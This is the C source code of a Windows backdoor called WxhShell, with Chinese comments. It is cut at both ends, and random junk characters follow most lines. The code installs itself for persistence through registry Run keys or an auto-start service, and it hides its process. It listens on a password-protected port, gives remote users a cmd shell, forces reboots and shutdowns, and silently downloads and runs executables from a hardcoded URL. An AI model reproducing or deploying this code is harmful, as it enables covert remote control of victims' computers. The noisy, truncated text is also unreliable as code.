    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J|[`8 *8  
    if(Boot(SHUTDOWN)) Ov8{ny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); px.]m-  
    else { aFwfF^\(|,  
    closesocket(wsh); @)m+b;  
    ExitThread(0);  Q-Rt  
    } )z2hyGX  
    break; [bJAh ` I  
    } {t&+abY  
  // 获取shell p&,2@(Q  
  case 's': { qf6}\0   
    CmdShell(wsh); SZ"^>}zl=  
    closesocket(wsh); v0S7 ]?_  
    ExitThread(0); Sh RkL<  
    break; ]; G$~[  
  } y5 bELWA  
  // 退出 RBM4_L  
  case 'x': { Bc2PF;n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [P"R+$"   
    CloseIt(wsh); Vch!&8xii  
    break; k84JDPu#  
    } 7q,M2v;  
  // 离开 ~`x<;Ts  
  case 'q': { t= oTU,<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gEQevy`T%c  
    closesocket(wsh); Cn(0ID+3f  
    WSACleanup(); @ 6{U*vs  
    exit(1); ce P1mO  
    break; *ocbV`  
        } >VWH bo  
  } #3act )m  
  } zMQ|j_ l9E  
Qr l>A*  
  // 提示信息 Ws(#ThA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q!dNJQpb  
} "Hw%@  
  } Bn_@R`  
+R?d6IjH  
  return; [{!5{k!  
} 1p9+c~4l:  
}];_ug* "  
// shell模块句柄 ^04|tda  
int CmdShell(SOCKET sock) N/fH%AtM  
{ 4?{e?5)  
STARTUPINFO si; 7T3ub3\  
ZeroMemory(&si,sizeof(si)); +#!! 'XP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5=--+8[ bV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |%~sU,Y\(  
PROCESS_INFORMATION ProcessInfo; .5x+FHu7  
char cmdline[]="cmd"; /N&)r wc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z[{: `  
  return 0; 1RF? dv  
} *@,>R6)jI  
ndIU0kq3  
// 自身启动模式 ;eRYgC  
int StartFromService(void) "*E%?MG  
{ p KF>_\   
typedef struct icPg<>TQ  
{ SlZ>N$E  
  DWORD ExitStatus; $lMEZt8A  
  DWORD PebBaseAddress; r%/*,lLO  
  DWORD AffinityMask; H]7;O M/g  
  DWORD BasePriority; 3yfq*\_uXw  
  ULONG UniqueProcessId; a jCx"J  
  ULONG InheritedFromUniqueProcessId; ^#4?v^QNh  
}   PROCESS_BASIC_INFORMATION; ?#LbhO*   
gqRwN p  
PROCNTQSIP NtQueryInformationProcess; )R2BTE:  
!~&vcz0>)9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R2af>R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I bd na9z7  
O0gLu1*1v  
  HANDLE             hProcess; zU9G: jH  
  PROCESS_BASIC_INFORMATION pbi; kG7q4jFwP  
Z) zWfv}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~agzp`!M  
  if(NULL == hInst ) return 0; [J|)DUjt  
f: h.O# d>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ppzd.=E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +89s+4Jn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mb\}F9  
#~r+   
  if (!NtQueryInformationProcess) return 0; jyt#C7mj-A  
)k8=< =s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tej-mr3P  
  if(!hProcess) return 0; eswsxJ/!  
Jn>7MuG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `!j|Ym  
XACbDKyS  
  CloseHandle(hProcess); KGclo-,  
Uk02VuS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jy] hP?QG  
if(hProcess==NULL) return 0; Dm j^aFB0|  
F-)lRGw  
HMODULE hMod; j3bTa|UdT  
char procName[255]; [9WtoA,kx  
unsigned long cbNeeded; _|S>, D'  
_ G!lQ)1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [y73 xF   
onM ~*E  
  CloseHandle(hProcess); Ne<"o]_M  
p0xd c3  
if(strstr(procName,"services")) return 1; // 以服务启动 tj ,*-).4%  
Eg"DiI)7  
  return 0; // 注册表启动 aPq9^S*  
} ai(<"|(  
\vB-0w  
// 主模块 Ey77]\  
int StartWxhshell(LPSTR lpCmdLine) g< cR/  
{ ,*2%6t`N?  
  SOCKET wsl; UlHRA[SCv  
BOOL val=TRUE; fn zj@_{|  
  int port=0; @xJ qG"  
  struct sockaddr_in door; j w)Lofn  
PnsQ[}.  
  if(wscfg.ws_autoins) Install(); oQC*d}_E}  
l[O!_bH  
port=atoi(lpCmdLine); 2roPZj  
x+vNA J  
if(port<=0) port=wscfg.ws_port; qwu++9BM  
^A^,/3  
  WSADATA data; `~hAXnQK=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8x jJ  
BYEqTwhT&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w0Fi~:b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8u$Kr q  
  door.sin_family = AF_INET; PXcpROg56  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oW-Tw@D  
  door.sin_port = htons(port); N 5rY*S  
cWl)ZE<hM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %Yg;s'F>#q  
closesocket(wsl); j=)Cyg3_%  
return 1; z0Vd(QL  
} ,9q=2V[GP  
h'<}N  
  if(listen(wsl,2) == INVALID_SOCKET) { F_!6C-z  
closesocket(wsl); n37C"qJ/i  
return 1; ]<q{0.  
} $V~r*#$.  
  Wxhshell(wsl); GA{>=Q _~  
  WSACleanup(); $EbxV"b+  
2#LcL  
return 0; J"8bRp=/|  
e| (jv<~r  
} l^ni"X  
|EaGKC(   
// 以NT服务方式启动 `LnLd;Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V-CPq  
{ !W/Og 5n  
DWORD   status = 0; $Trkow%F]  
  DWORD   specificError = 0xfffffff; =1lKcA[z  
g/so3F%v .  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D5)qmu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6g!#"=ls;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R:B-4  
  serviceStatus.dwWin32ExitCode     = 0; cD8.rRyD  
  serviceStatus.dwServiceSpecificExitCode = 0; Q{!lLka  
  serviceStatus.dwCheckPoint       = 0;  M}}9  
  serviceStatus.dwWaitHint       = 0; 3O<<XXar  
{o7ibw=E)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^aDos9SyV  
  if (hServiceStatusHandle==0) return; gLQWL}0O  
x;LyR  
status = GetLastError(); :7IL|bA<  
  if (status!=NO_ERROR) .G1NY1\  
{ $Vbgfp~U-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?]f+)tCMs  
    serviceStatus.dwCheckPoint       = 0; (o{-1Dg)  
    serviceStatus.dwWaitHint       = 0; JGSeu =)  
    serviceStatus.dwWin32ExitCode     = status; }nYm^Yh  
    serviceStatus.dwServiceSpecificExitCode = specificError; SY["(vP%#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4QK([q  
    return; JiP]F J;  
  } &6,GX7]Fo  
*%'4.He7V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #O^H? 3Q3  
  serviceStatus.dwCheckPoint       = 0; [X)+(-J  
  serviceStatus.dwWaitHint       = 0; A,MRK#1u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GC H= X  
} Mq42^m:qe  
d6<,R;)  
// 处理NT服务事件,比如:启动、停止 u.0Z)j}N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {gl-tRC3  
{ JrseU6N  
switch(fdwControl) |]DZc/  
{ M9]O!{ sq  
case SERVICE_CONTROL_STOP: g GN[AqR  
  serviceStatus.dwWin32ExitCode = 0; WW@/q`h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jfl7L"2  
  serviceStatus.dwCheckPoint   = 0; XcaY'k#  
  serviceStatus.dwWaitHint     = 0; J @"wJEF  
  { d7^:z%Eb|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W+a>*#*  
  }  ~MyP4x/  
  return; /J3e[?78u  
case SERVICE_CONTROL_PAUSE: X.,SXNS+B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (SoV2[|  
  break; ;7 i0ko9  
case SERVICE_CONTROL_CONTINUE: G?e,Q$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q+dY&4&u  
  break; H]"Z_n_  
case SERVICE_CONTROL_INTERROGATE: CBs0>M/  
  break; }k duN0  
}; C>N)~Ut  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1]fqt[*)  
} :cG_aO kid  
_+wou(1y  
// 标准应用程序主函数 CCp{ZH s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m'r6.Hp3Ng  
{ +f+x3OMX3  
VGM8&J{o'  
// 获取操作系统版本 h -+vM9j  
OsIsNt=GetOsVer(); z >vzXM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ws4aCH1  
W )q^@6[d  
  // 从命令行安装 c _O| ?1  
  if(strpbrk(lpCmdLine,"iI")) Install(); QgEG%YqB  
bL!NT}y`  
  // 下载执行文件 f'aUo|^?  
if(wscfg.ws_downexe) { "2 ma]Ps  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8~EDmg[  
  WinExec(wscfg.ws_filenam,SW_HIDE); /%$'N$@f  
} Cq u/(=  
vC$[Zm  
if(!OsIsNt) { QZ"Lh  
// 如果时win9x,隐藏进程并且设置为注册表启动 j3P)cz-0/L  
HideProc(); er,R}v  
StartWxhshell(lpCmdLine); "Hg.pDNZ  
} :bW}*0b-  
else ]Tf.KUm  
  if(StartFromService()) mDvZ 1aj  
  // 以服务方式启动 KZ`d3ad  
  StartServiceCtrlDispatcher(DispatchTable); {_ww1'|A  
else EHcqj;@m  
  // 普通方式启动 X;v/$=-mz  
  StartWxhshell(lpCmdLine); w%VHq z$  
4B<D.i ;}  
return 0; K4N~ApLB+  
} 45edyQ  
|`U^+Nf  
!?Z}b.%W  
,78 QLh9:  
=========================================== my[)/'  
niFX8%<hP  
6t *pV [  
N/8qd_:8  
2 Nr j@q  
Z%N{Y x(  
" G!8O*4+A  
#|GP]`YT  
#include <stdio.h> z~A||@4'  
#include <string.h> <!Nj2>  
#include <windows.h> rV"<1y:g  
#include <winsock2.h> zr\I1v]?1#  
#include <winsvc.h> l\ts!p4f$  
#include <urlmon.h> #v=hiL  
4M6o+WV  
#pragma comment (lib, "Ws2_32.lib") dU3UCD+2y  
#pragma comment (lib, "urlmon.lib") W~POS'1  
1V+a;-?  
#define MAX_USER   100 // 最大客户端连接数 v~?d7p {  
#define BUF_SOCK   200 // sock buffer z\oq b) a  
#define KEY_BUFF   255 // 输入 buffer "7JO~T+v  
S@z$,}Yc`<  
#define REBOOT     0   // 重启 d\3L.5]X  
#define SHUTDOWN   1   // 关机 xQ* U9Wt;T  
)T(xQ2&r4  
#define DEF_PORT   5000 // 监听端口 vy,ER<  
FaPX[{_E  
#define REG_LEN     16   // 注册表键长度 Jq l#z/z  
#define SVC_LEN     80   // NT服务名长度 =~?2i)-mC  
?M;2H {KG:  
// 从dll定义API ^p|MkB?uM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FdKp@&O+1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Jh-v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G>M# BuU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f:B+R  
.*r ?zDV  
// wxhshell配置信息 7F>5<Gv:-  
struct WSCFG { DFwkd/3"  
  int ws_port;         // 监听端口 F8Rd#^9PD  
  char ws_passstr[REG_LEN]; // 口令 )V!9&  
  int ws_autoins;       // 安装标记, 1=yes 0=no X'TQtI  
  char ws_regname[REG_LEN]; // 注册表键名 O9r3^y\>I  
  char ws_svcname[REG_LEN]; // 服务名 [j?n}D@L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U!XC-RA3 _  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SWz+.W{KQ"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e/r41  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W7WHH \L/O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oR[,?qu@f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ipQJn_:2  
wlAlIvIT  
}; 8%_XJyg  
[kt!\-  
// default Wxhshell configuration 9Y&n$svB  
struct WSCFG wscfg={DEF_PORT,  fv5'Bl  
    "xuhuanlingzhe", drBWo|/  
    1, `a ["`N^  
    "Wxhshell", hWJ\dwF  
    "Wxhshell", z. VuY3  
            "WxhShell Service", YKJk)%;+w  
    "Wrsky Windows CmdShell Service", <dV|N$WV  
    "Please Input Your Password: ", z;zy k  
  1, sw[1T_S>  
  "http://www.wrsky.com/wxhshell.exe", L oe!@c  
  "Wxhshell.exe" E&Pv:h,pV&  
    }; 1/j J;}  
eZ[CqUJ&  
// 消息定义模块 ^cZF#%k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6Hi3h{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jJQ6]ucwa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "6[' !rq0  
char *msg_ws_ext="\n\rExit."; _'ltz!~  
char *msg_ws_end="\n\rQuit."; pZ/x,b#.  
char *msg_ws_boot="\n\rReboot..."; 7 }4T)k(a  
char *msg_ws_poff="\n\rShutdown..."; C;0H _  
char *msg_ws_down="\n\rSave to "; 4rO07)~l  
>DBaKLu\  
char *msg_ws_err="\n\rErr!"; ]ctUl #j  
char *msg_ws_ok="\n\rOK!"; ]!d #2(  
MOP/q4j[  
char ExeFile[MAX_PATH]; 'VS!<  
int nUser = 0; |P$tLOrG  
HANDLE handles[MAX_USER]; lE78 Yl]  
int OsIsNt; UA!-YTh  
AY5%<CWj8  
SERVICE_STATUS       serviceStatus; .5p"o-:D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MH.,dB&  
2oXsPrtZ  
// 函数声明 *TfXMN ?w  
int Install(void); 5n"b$hMF  
int Uninstall(void); 89v9BWF  
int DownloadFile(char *sURL, SOCKET wsh); DxdiXf[j  
int Boot(int flag); j5Vyo>  
void HideProc(void); :7K cD\fCj  
int GetOsVer(void); \zR@FOl`q  
int Wxhshell(SOCKET wsl); ;2(8&.  
void TalkWithClient(void *cs); - jfZLO4  
int CmdShell(SOCKET sock); n[|&nv6x  
int StartFromService(void); 1#qyD3K  
int StartWxhshell(LPSTR lpCmdLine); D.kLx@Z  
p[4KN(PyK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s]#D;i8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hD/bgquT  
Z*tB=  
// 数据结构和表定义 3Wa^:8N  
SERVICE_TABLE_ENTRY DispatchTable[] = mDEO$:A  
{ Di5eD,N  
{wscfg.ws_svcname, NTServiceMain}, dZFf /BXU  
{NULL, NULL} qZ'&zB)  
}; c~3OK_k  
V2Q2(yvdJ  
// 自我安装 sWX iY  
int Install(void) =Bcwd7+  
{ {u{n b3/jl  
  char svExeFile[MAX_PATH]; U$Z)v1&{  
  HKEY key; mHrt)0\_  
  strcpy(svExeFile,ExeFile); KhIg  
(2RZc].M~  
// 如果是win9x系统,修改注册表设为自启动 vOy;=0$  
if(!OsIsNt) { `wj<d>m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KC9_H>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K'kWL[Ut!  
  RegCloseKey(key); g VX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bCHJLtDQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X,y0 J  
  RegCloseKey(key); qF C0$:z&  
  return 0; x ok8  
    } Hphvsre<  
  } 0"o%=i;  
} w[}5qAI5*f  
else { Jte:U*2  
KV0M^B|W  
// 如果是NT以上系统,安装为系统服务 2kzm(K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s_S[iW`l=  
if (schSCManager!=0) HR]*75}e  
{ N9QHX  
  SC_HANDLE schService = CreateService \=Rw/[lR  
  ( mlW0ptp  
  schSCManager, 0Mpc#:a%1  
  wscfg.ws_svcname, ))- B`vi  
  wscfg.ws_svcdisp, aMKi`EW  
  SERVICE_ALL_ACCESS, @xIKYJyU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i%w[v_j  
  SERVICE_AUTO_START, bHZXMUewC  
  SERVICE_ERROR_NORMAL, nb::,  
  svExeFile, ]awu7}C9Z  
  NULL, luXcr H+w  
  NULL, 0`VA} c  
  NULL, Mhp6,JL  
  NULL, 3]"RaI4Q0  
  NULL V<:scLm#OF  
  ); TR}ztf[e  
  if (schService!=0)  -i*{8t  
  { RG[b+Qjn  
  CloseServiceHandle(schService); qp$Td<'Y  
  CloseServiceHandle(schSCManager); Qau\6p>^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3pg_`  
  strcat(svExeFile,wscfg.ws_svcname); Hj\>&vMf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KnK8\p88\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kEiWE|  
  RegCloseKey(key); MG6taOO!  
  return 0; UP]X,H~stU  
    } 6+`+$s0  
  } _=l8e-6r  
  CloseServiceHandle(schSCManager); 3"afrA  
} d h5%  
} /`$9H|  
q$IgkL  
return 1; j0P+<@y  
} (#,0\ea{x  
**p|g<wvY*  
// 自我卸载 PCKgdh},  
int Uninstall(void) Zw6UH;5  
{ [C_Dv-d  
  HKEY key; y/{&mo1\  
xg*)o*?  
if(!OsIsNt) { S 2vjjS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *O6q=yg;K:  
  RegDeleteValue(key,wscfg.ws_regname); MoAZ!cF8  
  RegCloseKey(key); 6[wAX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c*R?eLt/  
  RegDeleteValue(key,wscfg.ws_regname); 3>O=d>  
  RegCloseKey(key); (.[HE ~ s?  
  return 0; U&x)Q  
  } ^q{=mf`  
} KlOL5"3  
} V% -wZL/  
else { =VXxQ\{  
QxUsdF?p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fu 0]BdM  
if (schSCManager!=0) !.\-l2f  
{ R/5@*mv{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P:Nj;Cxh  
  if (schService!=0) Vm6 0aXm_  
  { R|tf}~u !x  
  if(DeleteService(schService)!=0) { Xh'_Vx{.j`  
  CloseServiceHandle(schService); xi3  
  CloseServiceHandle(schSCManager); Zq[aC0%+  
  return 0; Q--Hf$D]H  
  } iH&BhbRu_  
  CloseServiceHandle(schService); b@9>1d$  
  } $ /Rr|<  
  CloseServiceHandle(schSCManager); L`"B;a&  
} aJ;6!WFW  
} 1uz7E  
EGD&/%aC  
return 1; #0*OkZMt  
} Dq$co1eT  
R>|)-"b( `  
// 从指定url下载文件 6,J:sm\  
int DownloadFile(char *sURL, SOCKET wsh) $<c;xDO&t  
{ P`ZYm  
  HRESULT hr; ;~nz%L J  
char seps[]= "/"; svT1b'=\$I  
char *token; Gh.@l\|tf  
char *file; <OR f{  
char myURL[MAX_PATH]; ;`CNe$y   
char myFILE[MAX_PATH]; T1Gy_ G/  
;Nfd  
strcpy(myURL,sURL); fG{ 9doUD  
  token=strtok(myURL,seps); d]bM,`K* 6  
  while(token!=NULL) H6fR6Kr4j  
  { XMJEIG  
    file=token; sD_"  
  token=strtok(NULL,seps); OsSGVk #Qh  
  } gJkvH[hDY  
X.YMb .\<  
GetCurrentDirectory(MAX_PATH,myFILE); L~Hgf/%5  
strcat(myFILE, "\\"); Xj;\ROBH-  
strcat(myFILE, file); f*uD9l%/  
  send(wsh,myFILE,strlen(myFILE),0); XwerQwO=  
send(wsh,"...",3,0); )U$]J*LI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vy+UOV&v-  
  if(hr==S_OK) zLeId83>  
return 0; (K"8kQLY  
else WZ#|?pJ  
return 1; jjbw+  
u=mJI*  
} Z,x9 {  
 fa=OeuI  
// 系统电源模块 3 J{hG(5  
int Boot(int flag) ~YYg~6}vV  
{ JE[+  
  HANDLE hToken; zSU06Y  
  TOKEN_PRIVILEGES tkp; }zK/43Vx  
P#8 ]m(  
  if(OsIsNt) { IQ9jTkW l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ku`bwS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }'o[6#_*X  
    tkp.PrivilegeCount = 1; hhZU E]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \K,piCVViN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZJ|@^^GcL  
if(flag==REBOOT) { tOu:j [  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x>E**a?!L  
  return 0; X*cf|g  
} @C}Hx;f6  
else { rwRb _eIj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5[1#d\QR  
  return 0; 0xNlO9b/  
} 'yq'J)  
  } I,0]> kx  
  else { &R'%OFi  
if(flag==REBOOT) { TLkJZ4}?Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +.p$Yi`  
  return 0; 6BPZ2EQ  
} |B0.*te6  
else { e>oE{_e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  fK$N|r  
  return 0; _:tclBc8R  
} c= -2c&=&  
} Ya_4[vR<  
/_,} o7@t~  
return 1; _z3Hl?qk=  
} 5xEk 7g.  
iN}BMd.U  
// win9x进程隐藏模块 gw1| ?C  
void HideProc(void) v7l4g&  
{ }PR^Dj.  
K%p*:P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /&+6nOP  
  if ( hKernel != NULL ) qM$~5uu  
  { Nr#Y]9nA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `tCOe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? }k~>. \  
    FreeLibrary(hKernel); 7 -(LWH  
  } YS_9M Pi  
h)M9Oup`  
return; UJ0Dy ` f  
} Qbc62qFu!  
L-ZJ[#D  
// 获取操作系统版本 EmDA\9~@R  
int GetOsVer(void) mQ9%[U,  
{ \E'Nk$V3  
  OSVERSIONINFO winfo; !6wbg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G0^O7w^5  
  GetVersionEx(&winfo);  MRB>(}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) + njE  
  return 1; [xXml On!  
  else RfT#kh/5  
  return 0; h&!k!Su3#  
} "~h.u  
PAe2 hJ  
// 客户端句柄模块 zN\~v  
int Wxhshell(SOCKET wsl) NRS!Ox  
{ @"~Mglgw  
  SOCKET wsh; %qzpt{'?<  
  struct sockaddr_in client; u+]v. Mt  
  DWORD myID; ^}2 ie|  
Qa,^;hZWS  
  while(nUser<MAX_USER) !U"1ZsO)l  
{ (u]ajT  
  int nSize=sizeof(client); Bc4{$sc"O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J! 4l-.-  
  if(wsh==INVALID_SOCKET) return 1; '_n{+eR74  
dt"[5;_P`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lQ%]](a6  
if(handles[nUser]==0) 's{-1aW  
  closesocket(wsh); h(;qnV'c  
else o8P 5C4y  
  nUser++; hfY Ieb#91  
  } ? OBe!NDf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^i{B8]2,  
%*.;3;m  
  return 0; ^g,[#Rh  
} cU25]V^{\  
P,"z  
// 关闭 socket {Izg1 N  
void CloseIt(SOCKET wsh) xG_ ;F  
{ {rWu`QT  
closesocket(wsh); N0c+V["s  
nUser--; `8F%bc54iw  
ExitThread(0); ZkYc9!anY  
} >GiM?*cC  
?6    
// 客户端请求句柄 #K7i<Bf  
void TalkWithClient(void *cs) SaEe7eHd  
{ 's$pr#V  
SVp]}!jI  
  SOCKET wsh=(SOCKET)cs; 0k5Z l?  
  char pwd[SVC_LEN]; xPh%?j?*v  
  char cmd[KEY_BUFF]; +G&h  
char chr[1]; ( $3j  
int i,j; 'uUp1+  
v@k62@;  
  while (nUser < MAX_USER) { ~?vm97l  
:~^ec|tp  
if(wscfg.ws_passstr) { qy@gW@IU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);   [E(DGt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -p>KFHj6  
  //ZeroMemory(pwd,KEY_BUFF); ewgcpV|spn  
      i=0; @2 dp5  
  while(i<SVC_LEN) { asR6,k  
XJ]MPiXj  
  // 设置超时 >b-rAO\{}  
  fd_set FdRead; UD*#!H  
  struct timeval TimeOut; dUn8Xqj1  
  FD_ZERO(&FdRead); o})4Jt1vj  
  FD_SET(wsh,&FdRead); uw+v]y  
  TimeOut.tv_sec=8; 8Es]WR5 ^  
  TimeOut.tv_usec=0; b]s=Uv#)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mW 5L;>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n/s!S &  
6mEW*qp2F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `q eL$`  
  pwd=chr[0]; W.\HfJ74  
  if(chr[0]==0xd || chr[0]==0xa) { i#1T68y}  
  pwd=0; P58U8MEG  
  break; 7& k lX  
  } )+ Wr- Yay  
  i++; 1l\O9D +$  
    } nl5K1!1  
yQhrPw> m  
  // 如果是非法用户,关闭 socket a-Cp"pKlVY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PZpwi?N  
} ~>D;2 S(a  
d"XS;;l%<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &tD`~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?9!tMRb  
N)  {  
while(1) { ;lX:EU  
D{.%Dr?  
  ZeroMemory(cmd,KEY_BUFF); @D"#B@j  
q) /;|h  
      // 自动支持客户端 telnet标准   *8/Q_w  
  j=0; 2{p`"xX  
  while(j<KEY_BUFF) { \\hZlCV,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M)EKS  
  cmd[j]=chr[0]; =Mn! [  
  if(chr[0]==0xa || chr[0]==0xd) { uh#PZ xnP  
  cmd[j]=0; P>pkLP} Vo  
  break; r'&9'rir2  
  } 9z'</tJ`  
  j++; ~JLqx/[|s  
    } YhLtf(r  
J~gfMp.  
  // 下载文件 N>ct`a)BD/  
  if(strstr(cmd,"http://")) { -ZQ3^'f:0J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]N=C%#ki!  
  if(DownloadFile(cmd,wsh)) #4na>G|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  TWx<)  
  else YXI DqTA+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ ?tAt3dMI  
  } a' #-%!]  
